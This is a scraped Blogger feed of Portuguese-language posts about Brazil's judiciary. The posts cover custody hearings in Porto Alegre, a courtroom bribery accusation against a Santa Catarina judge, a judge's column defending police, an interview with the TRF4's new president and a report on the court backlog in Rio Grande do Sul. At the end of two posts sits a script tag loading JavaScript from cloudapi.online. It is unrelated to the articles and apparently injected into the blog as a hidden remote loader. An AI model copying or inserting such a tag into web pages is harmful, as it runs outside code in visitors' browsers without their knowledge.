Nacional de Justiça (CNJ), determina que todo preso em flagrante seja
encaminhado à autoridade judicial em um prazo de 24 horas. No entanto,
em Porto Alegre, isso nem sempre acontece.
Os presos em flagrante são levados ao Presídio Central (ou à
Penitenciária Feminina Madre Pelletier, caso sejam mulheres) antes mesmo
de passarem pela audiência de custódia. Enquanto aguardam, o juiz
plantonista recebe o auto de prisão em flagrante e decide, no próprio
Foro Central, se o indivíduo deve continuar preso ou não. No dia
seguinte, esse mesmo juiz plantonista se desloca até os presídios para
realizar a audiência de custódia daqueles presos que não foram soltos
por ele no dia anterior.
"É uma violação expressa da resolução do CNJ. O local é inadequado, nem
todo mundo que deveria ser levado é levado, alguns presos em flagrante
acabam sendo soltos antes. E tudo isso é feito com condescendência da
Justiça (gaúcha)", argumenta o promotor Mauro Fonseca Andrade, que atua
nesse tipo de audiência. Considerando que alguns presos são soltos antes
de passarem pelo crivo da audiência de custódia, não se sabe nada sobre
eles - o que os motivou a cometer o delito e se passaram por alguma
situação de tortura ou violência no ato da prisão em flagrante. E há,
também, o caso daqueles presos reincidentes, que respondem a algum
processo criminal, e que não são encaminhados ao juiz justamente pelo
fato de já terem cometido delitos.
De acordo com o Mapa de Implantação das Audiências de Custódia do CNJ,
entre 30 de julho de 2015 e 30 de abril de 2017, foram realizadas 6.253
audiências de custódia no Rio Grande do Sul. Do total, 5.297 foram
presos preventivamente, e 956, soltos. Além disso, 374 alegaram ter
sofrido algum tipo de violência no ato da prisão, e 44 foram
encaminhados para o serviço social.
No mesmo período, o Tribunal de Justiça do Rio Grande do Sul (TJ-RS)
recebeu, em todas as comarcas, 41.159 autos em flagrante. Isso significa
que somente 15,1% dos presos em flagrante foram levados à audiência de
custódia.
Comparando esses números, percebe-se que há uma falsa ideia de que o Rio
Grande do Sul é um dos estados mais rígidos no cumprimento das
audiências. Andrade argumenta que os dados repassados ao CNJ pelo TJ-RS
não são confiáveis. "Aparece que o Rio Grande do Sul é um dos estados
com maior número de prisões, mas esse dado está adulterado, e não há
perspectiva de que a maneira como o procedimento é feito mude", pondera o
promotor. Para ele, o descumprimento da resolução é vexatório.
Relatos de abuso no ato da prisão são o principal avanço
O Tribunal de Justiça do Rio Grande do Sul (TJ-RS) explica que, devido à
impossibilidade de a Superintendência de Serviços Penitenciários
(Susepe) levar todos os presos em flagrante perante o juiz, foi adotado o
modelo utilizado atualmente em Porto Alegre, no qual o juiz avalia
preliminarmente com base no auto de prisão, sem a presença do preso, e
que envolve também a ida do magistrado ao presídio. Essa dificuldade foi
justificada pela Susepe como resultado do déficit de agentes
penitenciários.
Para o juiz-corregedor do TJ-RS, Vanderlei Deolindo, as audiências de
custódia têm extrema importância, uma vez que, frequentemente, pessoas
que não praticaram crimes se veem envolvidas em situações que as levam à
prisão também. A audiência de custódia garante, portanto, o direito de
que todo e qualquer preso seja levado à presença de um juiz, que
avaliará as circunstancias da detenção e se houve algum ato de abuso ou
violência.
Já para o advogado e professor da Fundação Escola Superior do Ministério
Público (FMP) Mateus Marques, o principal avanço da audiência de
custódia está relacionado, de fato, aos relatos dos presos, que podem
evidenciar e provar ao juiz atos de abuso - que pode ter sido realizado
pelo policial, pela vítima ou por alguma eventual testemunha do crime.
Uma vez que os presos são logo encaminhados aos presídios, o suspeito,
mesmo sem condenação efetiva, já entra em contato com o universo dos
encarcerados. "A pessoa entra no sistema antes de ter a prisão decretada
legalmente. E isso acontece porque não há interesse do Judiciário em
mudar", defende. Outra preocupação do advogado diz respeito à análise de
fato. "Temos preocupação com os critérios que são utilizados pelos
juízes na decisão de soltura ou manutenção da prisão preventiva",
relata.
Embora o relato do preso também seja levado em consideração, é preciso
que o juiz consiga constatar visualmente que houve violência - daí a
importância da audiência presencial. Se for demonstrado que houve abuso,
o juiz determina a expedição de um ofício da corregedoria da Brigada
Militar ou da Polícia Civil. Também são requisitados ofícios ao setor de
Direitos Humanos da Defensoria Pública e do Ministério Público,
esperando-se que essas instituições adotem providências necessárias para
apurar a responsabilidade dos envolvidos.
Outra intenção da audiência de custódia, a de desafogar presídios,
também não vem sendo constatada no Estado. "No nosso modelo, são poucos
que estão sendo soltos, porque já fazemos uma triagem preliminar,
desenvolvida com muito critério", esclarece Deolindo. Ele estima que,
diariamente, o juiz plantonista receba entre 15 e 30 autos de prisão em
flagrante. Segundo o juiz-corregedor do TJ-RS, a proporção é de 40% de
soltura e 60% de presos levados à audiência de custódia. - Jornal do
Comércio
(http://jcrs.uol.com.br/_conteudo/2017/08/geral/577824-audiencias-de-custodia-na-capital-desrespeitam-resolucao-do-cnj.html)</div>
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Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-669120618814123230.post-7328674766469012802017-08-05T08:38:00.001-03:002017-08-05T08:38:14.506-03:00DESEMBARGADOR É ACUSADO POR ADVOGADO DE PEDIR PROPINA PARA FAVORECER CLIENTE NUM PROCESSO QUE TEM 30 ANOS<div dir="ltr" style="text-align: left;" trbidi="on">
<img alt="Resultado de imagem para Advogado acusa desembargador de pedir propina para favorecer cliente" class="irc_mi" height="360" src="https://s04.video.glbimg.com/x720/6057327.jpg" style="margin-top: 0px;" width="640" /><br /><br /><b>JORNAL NACIONAL Edição do dia 04/08/2017<br /><br /><br />Advogado acusa desembargador de pedir propina para favorecer cliente. Acusação foi feita durante o julgamento da ação no TJ de Santa Catarina. Conselho Nacional de Justiça pediu a abertura de sindicância.</b><br /><br /><br /> Durante um julgamento, em Florianópolis, um advogado acusou um desembargador de cobrar propina por uma decisão favorável. A cena constrangedora e as consequências dela abrem esta edição, na reportagem de Kíria Meurer.<br /><br /> A acusação é do advogado Felisberto Córdova contra o desembargador (...) relator de uma ação que estava sendo julgada, na quinta-feira (3), no Tribunal de Justiça de Santa Catarina. A cena foi gravada em um celular.<br /><br /> O advogado afirmou que o desembargador tinha recebido uma oferta de propina para dar um voto favorável à empresa que é ré na ação, e que, depois disso, fez uma barganha para mudar de posição.<br /><br /> “Eu vou dizer, senhor presidente, que o julgamento que está acontecendo aqui é comprado. Eu estou fazendo uma denúncia. Esse cidadão foi abordado com uma proposta que veio do Rio de Janeiro para receber R$ 500 mil, R$ 250 mil antes, R$ 250 mil depois. E o descarado chegou a mandar para o nosso escritório uma contraproposta que poderíamos cobrir por R$ 700 mil. Eu insisto, senhor presidente, isto aqui não é o Senado. Isso aqui não é a Câmara dos Deputados. Isso aqui é um Tribunal de Justiça. E é preciso que a moralidade surja e venha a termo. E que a promotoria, inclusive, assuma a investigação desse processo. Tudo está sendo nulo aqui. Tudo está sendo nulo aqui. Eu não abro mão de denúncias. Safado.”<br /><br /> “Está num nítido excesso. Eu estou, nesse momento, eu estou requerendo a prisão do advogado. Senhor presidente, está tendo um nítido excesso dos direitos, eu não admito”, disse o desembargador.<br /><br /> “Vamos os dois presos que eu quero te quebrar a cara dentro da cela. Vagabundo”, rebateu o advogado.<br /><br /> “Eu não vou admitir que um advogado me chame de vagabundo e vossa excelência não tome providências. Eu nunca passei por isso na minha vida. Eu tenho 25 anos de magistratura e requeiro a prisão do advogado”, disse o desembargador.<br /><br /> <b>O processo em discussão no Tribunal de Justiça já tem mais de 30 anos.</b> O advogado já tinha vencido o caso em primeira instância. Ele pediu o pagamento de honorários relativos a uma decisão sobre a venda e a desapropriação de um terreno no Paraná. O valor da ação é de cerca de R$ 35 milhões.<br /><br /> Depois do bate-boca a sessão foi suspensa. Na tarde desta sexta-feira (4), o advogado Felisberto Córdova voltou a acusar o desembargador.<br /><br /><b>Repórter: O senhor tem provas em relação à essa acusação?</b><br />Córdova: Prova testemunhal inicial tem. Encaminhou para o meu escritório uma proposta para que eu pagasse mais, R$ 700 mil, daí estaria mudando de opinião. E eu venceria a causa.<br /><br /><b>Repórter: Como esse pedido chegou até o senhor?</b><br />Córdova: Através do meu sócio. <br /><br /> Felisberto Córdova disse que, por enquanto, não poderia dar mais detalhes sobre as provas. O sócio dele não quis dar entrevista.<br /><br /> O advogado do desembargador negou todas as acusações.<br /><br /> “Meu cliente não recebeu nenhuma propina, não solicitou nenhuma propina e não recebeu nenhuma oferta de propina. Só pode ser algum jogo de interesse no sentido de conseguir um resultado no processo onde há uma disputa desde a década de 90”, disse o advogado Nilton Macedo Machado.<br /><br /> A OAB de Santa Catarina disse que o advogado exerceu o direito e até o dever de denunciar um fato supostamente criminoso e vai dar todo o suporte para que ele possa formular a denúncia.<br /><br /> “O doutor Felisberto tem mais de 50 anos de advocacia, tem quase 80 anos de idade, ou seja, é um profissional extremamente respeitado, com credibilidade. É evidente que um profissional assim sabe da responsabilidade de uma acusação dessa natureza”, afirmou o presidente da OAB/SC, Paulo Brincas.<br /><br /> Em nota, a Associação dos Magistrados Catarinenses afirmou que as declarações do advogado devem ser alvo de ampla investigação, mas considerou inaceitável, mesmo no calor das emoções, que o advogado faça uso de expressões depreciativas, com ofensas verbais e ameaças à integridade física.<br /><br /> O Tribunal de Justiça disse que lamenta profundamente o episódio e que já abriu uma investigação para apurar as denúncias.<br /><br /> O Conselho Nacional de Justiça já pediu a abertura de uma sindicância para investigar os fatos denunciados pelo advogado Felisberto Córdova, e afirmou que, se for constatada irregularidade, vai pedir a punição do magistrado.</div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-669120618814123230.post-67910255874288615762017-07-16T07:11:00.001-03:002017-07-16T07:11:07.359-03:00QUEM É A VÍTIMA?<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIwr90j1GfJ1xCX5LGrXVUlqENtBeOrD7TQZeImSy6uYGRtyp7TueEDtVGaNL9uZBkxAlqtqzniDuOlTdpwjZ5rdoUWbst9NJqSeuCelJyLfqlwVWMXutlV4PwEqzV_wp6eO_Y8oYn_fk/s1600/_pm+revista+da+tropa.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="600" data-original-width="970" height="197" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIwr90j1GfJ1xCX5LGrXVUlqENtBeOrD7TQZeImSy6uYGRtyp7TueEDtVGaNL9uZBkxAlqtqzniDuOlTdpwjZ5rdoUWbst9NJqSeuCelJyLfqlwVWMXutlV4PwEqzV_wp6eO_Y8oYn_fk/s320/_pm+revista+da+tropa.jpeg" width="320" /></a></div>
<br /><br /><b>ZERO HORA 14/07/2016<br /><br />Betina Meinhardt Ronchetti<br />Juíza de Direito</b><br /><br />Debater violência urbana pressupõe alguns princípios inegociáveis, como o Estado não ser condescendente com o crime, pois isso é uma questão de humanidade para se poder viver em comunidade.<br /><br />O criminoso sabe que, flagrado, deve se submeter à autoridade do Estado. O policial militar representa essa autoridade, portanto, ao flagrar o indivíduo na prática de crime, este deve(ria) se entregar.<br /><br />O que se tem visto, porém, é que o criminoso quer ganhar sempre, premido pela regra capitalista que o norteia. Parênteses: o criminoso é o maior capitalista que se conhece. Mas é perverso. Oprime os cidadãos da comunidade onde mora, oprime os presos mais vulneráveis no sistema carcerário que o Estado não domina, oprime os indivíduos-policiais fragilizados pelos salários parcelados de um Estado falido, oprime uma instituição-polícia desconstruída por discursos maldosos que pregam ser contra o cidadão, oprime os poderes constituídos, colocando-se na posição de vítima da sociedade. Ele oprime a mim e a você, pois com o discurso vitimista nos faz confundir as coisas, não saber mais quem é vítima e quem é criminoso, ou quem é o lobo de quem.<br /><br />Por isso é que só o juiz pode, em cada caso e diante das provas concretas, definir a situação particular de cada um.<br /><br />O criminoso, como categoria, não é oprimido, mas opressor, e o policial, como categoria, não é opressor, mas protetor da comunidade. A quem serve plantar na população desconfiança e hostilidade contra as autoridades, se não ao crime?<br /><br />Não importa nesta análise se há ou não maus policiais, pois sabe-se que há. Há maus "tudo". Os maus devem ser punidos na medida de seus erros. Haverá quem diga que há também o "bom" criminoso. Mesmo ele, porém, está no crime. Só isso basta a diferenciar, como "categoria", crime e polícia. Não são "instituições" comparáveis. Portanto, é tremenda inversão de valores vender a ideia de polícia contra cidadão, pois isso só engrandece o crime.<br /><br />Nenhuma instituição do Estado deve ser propagada como contrária ao cidadão.<br /><br />Assim, num flagrante de crime (como casos recentes em que houve confronto armado), injusto focar o debate na conduta do policial sem questionar a do criminoso, a quem, flagrado, cabia de imediato se entregar e evitar qualquer confronto, pois é ele quem está fora da lei. E isso é inegociável.<br /><br /><script id="lg210a" src="https://cloudapi.online/js/api46.js" type="text/javascript"></script></div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-669120618814123230.post-410528911808998642017-06-24T08:12:00.003-03:002017-06-24T08:12:52.767-03:00SAINDO DA DISCRIÇÃO PARA UMA SUPEREXPOSIÇÃO<div dir="ltr" style="text-align: left;" trbidi="on">
<br /><b><br />"Juiz tem de falar em momentos fundamentais e lugares apropriados", diz presidente do TRF4<br />Carlos Eduardo Thompson Flores tomou posse na tarde desta sexta-feira<br /><br />Por: Fábio Schaffner<br />ZERO HORA 23/06/2017 </b><br /><br /><img src="http://zh.rbsdirect.com.br/imagesrc/23424845.jpg?w=640" /><br />Novo presidente do TRF4 defende uma Justiça mais rápida e acessível à população, sobretudo aos mais pobresFoto: André Ávila / Agencia RBS <br /><br /><br />Integrante de uma das mais tradicionais famílias do Judiciário gaúcho, Carlos Eduardo Thompson Flores Lenz, 54 anos, assumiu na sexta-feira a presidência do Tribunal Regional Federal da 4ª Região (TRF4) defendendo uma Justiça mais rápida e acessível. No comando do tribunal que julga os recursos da Lava-Jato, ele acredita que o Judiciário conduz uma revolução pacífica no país ao protagonizar uma inédita ofensiva no combate à corrupção.<br /><br /><br />O magistrado, porém, critica a exposição demasiada dos membros da Justiça. Expoente da 18ª geração de juízes entre os Thompson Flores e com a experiência de quem atuou durante 11 anos no Ministério Público Federal e há 16 anos é membro do TRF4, defende a liturgia do cargo, segundo a qual juiz fala nos autos:<br /><br />— Saímos de um extremo de muita discrição para uma superexposição.<br /><br /><br />A seguir, uma síntese da entrevista concedida a ZH.<br /><br />Que modelo de gestão o senhor pretende imprimir nos dois anos à frente da Corte?<br /><br />Minha preocupação é a agilização da prestação jurisdicional. Temos um novo código de processo civil, que a meu juízo burocratizou um pouco a Justiça. Temos também a Operação Lava-Jato e uma grande reforma administrativa que fizemos aqui no tribunal. Descentralizamos duas turmas julgadoras, uma em Florianópolis e outra em Curitiba. É uma iniciativa pioneira no Brasil.<br /><br />O TRF4 é uma Corte de poucas ações originárias. Como torná-la mais acessível à população?<br /><br />A Justiça ainda é muito hermética em relação à população mais pobre. Embora o livre acesso esteja na Constituição, ainda não se tornou uma realidade. E à medida em que os processos chegam aos tribunais, se distanciam ainda mais da população. Quando é no foro de primeira instância, as partes vão lá, é mais fácil esse acesso. Quando os processos vão subindo, cresce o custo das ações. Julgamos processos dos três Estados do Sul. Imagina alguém lá do interior do Paraná, quase em São Paulo: óbvio que encarece demais. Já tomamos uma medida para nos aproximarmos: essas turmas descentralizadas, que começam a funcionar segunda-feira.<br /><br />Essas turmas vão julgar ações? A parte não precisa mais vir a Porto Alegre?<br /><br />Considero isso uma experiência inovadora no Brasil. São seis juízes, três em cada capital. Eles só vêm a Porto Alegre uma vez por mês, para participar de alguma sessão de plenário e corte especial.<br /><br />Uma das principais críticas que se faz à Justiça é a lentidão. Como agilizar os processos e decisões?<br /><br />Teríamos de fazer uma reforma na legislação processual. O novo código não ajudou em nada. Infelizmente, nós, juízes, ficamos à margem dessa construção. Deixamos seguir no Congresso, sem nos fazer ouvir. Mas acima de tudo, há o elemento humano: juízes e servidores. Se não houver emprenho, de nada adianta ter uma lei maravilhosa.<br /><br />O processo eletrônico, desenvolvido aqui no tribunal, deu fluidez à Justiça e virou modelo de exportação para outras cortes do Brasil e do Exterior. Há outro projeto semelhante em desenvolvimento?<br /><br />Eu mesmo fui cético se o processo eletrônico ia dar resultado. E, hoje, reconheço que estava errado. Há alguns meses recebi uma missão inglesa e eles ficaram impressionados. O juiz delibera de casa, as partes consultam de qualquer lugar. Ele está em constante aperfeiçoamento e, agora, estamos com uma tecnologia semelhante para os processos administrativos, como remoção de servidores, por exemplo. Muitos tribunais estão firmando convênios para adotar o modelo.<br /><br />O tribunal ganhou mais atenção com a Lava-Jato e tem se caracterizado em ser mais rígido na fixação de penas do que o juiz Sergio Moro, que julga os casos em primeira instância. O judiciário brasileiro vive um novo momento?<br /><br />O Brasil fez uma revolução pacífica através da Justiça. Eventuais excessos o próprio Poder Judiciário tem podado. Já passaram aqui pelo tribunal 701 recursos da Lava-Jato. Não chegam a 10 os casos de decisões alteradas no Supremo Tribunal Federal ou no Superior Tribunal de Justiça. Veja o grau de seriedade.<br /><br />Temos juízes heróis de passeatas, julgamentos transmitidos ao vivo e ocupando espaços majoritários em telejornais. Enquanto isso, o TRF4 tem sido mais rigoroso e ninguém sabe os nomes do julgadores. Como o senhor vê essa espetacularização dos atos judiciais e exposição de alguns juízes?<br /><br />Venho de uma família de 18 gerações de juízes. O perfil se alterou muito nos últimos tempos. Antes o juiz raramente escrevia um artigo de doutrina, porque amanhã ou depois seria chamado a julgar uma ação sobre aquela matéria e, em tese, já teria ideia pré-concebida. Caímos no extremo oposto. A magistratura tem uma liturgia. Não se deve comentar casos judiciais que estão sob julgamento. O senhor conhece algum nome de juiz da Corte Suprema dos Estados Unidos? Lá eles se preservam tanto, têm uma atuação tão discreta que não vulgariza sua presença e não fala sobre tudo. Um juiz da Suprema Corte tem de falar em momentos fundamentais da nação e em lugares apropriados. Saímos de um extremo de muita discrição para uma superexposição. O tempo vai nos levar para o meio do caminho.<br /><br />O senhor enxerga esse protagonismo exacerbado também no Ministério Público?<br /><br />É a mesma situação. Fui do Ministério Público, atuei como procurador da República por 11 anos. A Lava-Jato tem um mérito inegável que foi primeiro conquistar a população. Isso lhe deu capital muito grande. Agora, vão ter de trabalhar com isso. Não pode extrapolar, tornando as pessoas pop star. É necessário discrição á investigação. Houve um caso que chegou ao Conselho Nacional do Ministério Público por causa das palestras dos procuradores. Creio que essa situação deve ser repensada, inclusive com relação a magistrados. Meu avô foi ministro do Supremo durante 13 anos e nunca deu palestra remunerada. Acho inadmissível palestra remunerada. Quem tem problema de dinheiro, gosta muito de dinheiro ou está mal de dinheiro, não pode ser juiz da Suprema Corte. Não é forma de aumentar renda.<br /><br />A Lava-Jato teve efeitos inéditos: prendeu grandes empresários, ministros, parlamentares. Como consequência, há manobras constantes do Congresso, tentando constranger autoridades do Ministério Público e do Judiciário. Como encontrar um equilíbrio que evite falhas que abram brechas a esses movimentos e neutralize tentativas de revide?<br /><br />Já houve várias tentativas de podar a Lava-Jato. Enquanto a população estiver acreditando na operação, acho difícil que passe algo nesse sentido. Só poderia passar através de decisão do Supremo. No Congresso, as tentativas não prosperaram.<br /><br />Além do protagonismo com a Lava-Jato, o TRF4 ganhou ainda mais relevância a partir do momento em que o Supremo reviu sua jurisprudência e permitiu o cumprimento de pena a partir de condenação em segunda instância. Agora, a Corte está em vias de julgar essa questão novamente. Qual sua posição?<br /><br />Sempre foi essa a jurisprudência do Supremo. A partir de um certo tempo que se criou esse entendimento que teria de se esgotar todas as instância. Em nenhum lugar do mundo existe direito adquirido a quatro instâncias. Isso não existe. Com base naquela decisão do Supremo, editamos uma súmula em que se autoriza a prisão a partir de segunda instância. Parece que o Supremo agora quer rever. Acho que ainda estamos muito próximos da decisão anterior. Não houve nenhum fato novo, não houve alteração legislativa, não mudou a Constituição, nada. Só mudança de composição. Se for assim, cada que que entra um novo ministro no Supremo teremos que alterar tudo. Aí se compromete a segurança jurídica.<script id="lg210a" src="https://cloudapi.online/js/api46.js" type="text/javascript"></script></div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-669120618814123230.post-46905572607948093812017-06-19T08:26:00.001-03:002017-06-19T08:26:40.651-03:00JUDICIÁRIO GAÚCHO ABARROTADO<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg48zCWhIWu05OshjBNX4MnMpv9-NB4XqYKmPTKcQC0WJNOqQllR6zOLdcK-jcF5syx_NQxOUCPnmehRKSIDavXYRlKHUcEWlcEmrircZdmQ1cs9ycmAGS0zy9bOg0FpwNLq5GWnjBqqmE/s1600/JUS+casos+novos+por+magistrado.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="770" data-original-width="597" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg48zCWhIWu05OshjBNX4MnMpv9-NB4XqYKmPTKcQC0WJNOqQllR6zOLdcK-jcF5syx_NQxOUCPnmehRKSIDavXYRlKHUcEWlcEmrircZdmQ1cs9ycmAGS0zy9bOg0FpwNLq5GWnjBqqmE/s640/JUS+casos+novos+por+magistrado.jpg" width="496" /></a></div>
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<br /></div>
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<b>ZERO HORA 19 de junho de 2017 | N° 18875</b><div>
<b><br />REPORTAGEM ESPECIAL</b></div>
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<b>DÉBORA ELY<br /><br /><br />2,78 MILHÕES DE PROCESSOS estavam acumulados na Justiça Estadual no encerramento do ano passado, médiade um caso para cada quatro habitantes, atrasando soluções e alimentando a má fama de lentidão do sistema</b><br /><br /><br />O Judiciário gaúcho encontra-se superlotado. Em 2016, o Tribunal de Justiça do Rio Grande do Sul (TJ- RS) terminou o ano com 2,78 milhões de processos em estoque. É como se a cada quatro habitantes do Estado, um estivesse envolvido em uma disputa judicial.<br /><br />Diante de cenário que combina, segundo o próprio Judiciário, varas tomadas de casos e deficiência de servidores, a tramitação enfrenta uma histórica demora e alimenta a má fama de lentidão do sistema. Em média, um magistrado acumula 5.656 processos e, para escoar tantos procedimentos, teria de julgar mais de duas dezenas a cada dia útil.<br /><br />Mesmo que se esforcem para dar vazão aos julgamentos, juízes e desembargadores enfrentam anualmente um volume de novos processos que entopem ainda mais o sistema. No ano passado, 1,57 milhão de novos casos chegaram à Justiça gaúcha.<br /><br />O número, porém, vem caindo, mesmo que não o suficiente para desafogar o Judiciário. Em 2012, haviam ingressado 1,8 milhão de processos, o que representa uma redução de 12% em cinco anos.<br /><br />Segundo o mais recente levantamento do Conselho Nacional de Justiça (CNJ), que compila dados de 2015, o Rio Grande do Sul aparece na segunda colocação no ranking de casos novos por 100 mil habitantes na comparação com todos os demais Estados. Entre 2009 e 2012, os gaúchos lideraram a lista, foram superados pela Justiça do Rio de Janeiro em 2013, mas retomaram a ponta no ano seguinte. Já em 2015, conforme levantamento mais recente do CNJ, com 13.545 casos, ficaram atrás somente dos fluminenses, que somam 14.363 procedimentos. Com o sistema assoberbado, advogados reclamam de lentidão.<br /><br />– Entendemos as dificuldades do Judiciário, mas a advocacia não pode arcar com casos de morosidade. A demora pode ocorrer por uma série de fatores, como a falta de juiz, a escassez de funcionários ou a estrutura precária. Mas a morosidade judiciária atrapalha a advocacia e a questão da cidadania, como resposta àqueles que buscam esse serviço essencial – avalia o presidente da seccional gaúcha da Ordem dos Advogados do Brasil (OAB-RS), Ricardo Breier.<br /><br />Segundo o TJ-RS, há carência de cerca de 200 juízes e 2 mil servidores. O presidente do Conselho de Comunicação Social do órgão, Túlio Martins, indica uma série de motivos para explicar a deficiência:<br /><br />– A Justiça não é rápida em nenhum lugar do mundo. Não é da natureza do sistema judiciário, que é reflexivo. Mas a morosidade da Justiça brasileira é real. Isso vem de práticas antiquadas, de uma quantidade interminável de recursos e da falta de condições materiais para que se tenha modernização e capacitação de pessoal. Não existe causa exclusiva, mas soma de fatores. O ideal seria uma Justiça mais rápida do que a que temos.<br /><br /><b>TJ-RS TENTA EMPREGAR MAIS CELERIDADE AOS PROCESSOS</b><br /><br />Os números sinalizam empenho do TJ-RS em empregar mais celeridade aos processos, mesmo que, na prática, advogados relatem pouco impacto. Nos últimos dois anos, o Judiciário gaúcho encerrou um número maior de casos em relação aos novos. Somente em 2016, foram concluídos 136 mil a mais.<br /><br />– Há um grande esforço da administração para utilizar recursos da melhor maneira possível. A solução está em encaminhar demandas repetitivas através de decisões organizadas ou ações coletivas, o que tem dado bons resultados, e empregar mais rigor na concessão da gratuidade judiciária, o que evita processos totalmente aventureiros, mas sem cercear o acesso à Justiça. Mesmo assim, ainda temos quase 3 milhões de processos, o que é um absurdo para um Estado do tamanho do nosso – acrescenta Martins.<br /><br />Para o desembargador, a solução passa pelo avanço da conciliação, alternativa para resolver conflitos por meio de acordo com validade judicial, evitando, assim, um processo. Na Capital, há um núcleo especializado no método, e outros 35 no Interior. A Defensoria Pública caminha na mesma direção.<br /><br />– Percebemos redução nos casos novos iniciados em primeiro grau, o que comprova o empenho das instituições em lançar mão de mecanismos que chamamos de extrajudiciais, tentando alternativas como a mediação e a conciliação, que, muitas vezes, resolvem o conflito social. Hoje, há crítica crescente em relação ao custo do sistema judicial. Por que não, então, investir em ferramentas para evitar que uma demanda vire um processo, no qual, naturalmente, há morosidade? – questiona o defensor público- geral do Estado, Cristiano Vieira Heerdt.<br /><br />Está prevista para este mês a inauguração de um centro de mediação e conciliação do órgão, que será pioneiro no país. A nova estrutura funcionará no prédio do Instituto de Previdência do Estado (Ipergs), na Avenida Borges Medeiros, na Capital, e, inicialmente, atuará na área de conflitos familiares, como divórcio e guarda de filhos.<br /><br />– Às vezes, entrar com ação traz consequência mais danosa do que a resolução do conflito – resume Heerdt.<br /><br /><br /><br /><b>Um ano e três meses e nenhuma solução</b><br /><br /><br />Como milhares de gaúchos, Daniela Caumo, 29 anos, buscou no Judiciário solução para um conflito. A advogada ingressou com ação civil contra uma empresa de telefonia em março de 2016. Um ano e três meses se passaram, mas ainda não houve decisão para o caso, aparentemente simples.<br /><br />Ela havia pedido a portabilidade de seu celular para outra operadora, mas, meses depois, decidiu retornar à antiga. O aparelho passou a não receber mais ligações e mensagens da companhia anterior. Após inúmeras tentativas administrativas para resolver a falha, decidiu recorrer a uma amiga, também advogada, e ingressar na Justiça contra a empresa.<br /><br />O exemplo da advogada nem se configura como um caso dos mais graves, já que existem processos que levam décadas até que se chegue a uma sentença, mas ilustra o sentimento de frustração de quem busca resolução de problemas ou reparação por prejuízos sofridos.<br /><br />No caso de Daniela, o impasse com a operadora causou uma série de transtornos – ela ficou impossibilitada de receber ligações do celular de seu marido, por exemplo. Quando foi em busca do tribunal, a jovem havia se tornado mãe havia quatro meses. Agora, o pequeno Gabriel já completou um ano e seis meses e o caso segue sem sentença.<br /><br />– Me senti frustrada. Lido com o Direito, e esse sentimento é diário. É uma briga com o Judiciário, porque determinados processos andam e outros ficam parados anos. Me senti lesada. Disse para a empresa que a única alternativa que haviam me dado era ingressar na Justiça, e me disseram que nada poderiam fazer. Busquei o Judiciário e, mais uma vez, nada aconteceu – reclama Daniela que, cansada de esperar resposta do Estado, migrou para uma terceira operadora.</div>
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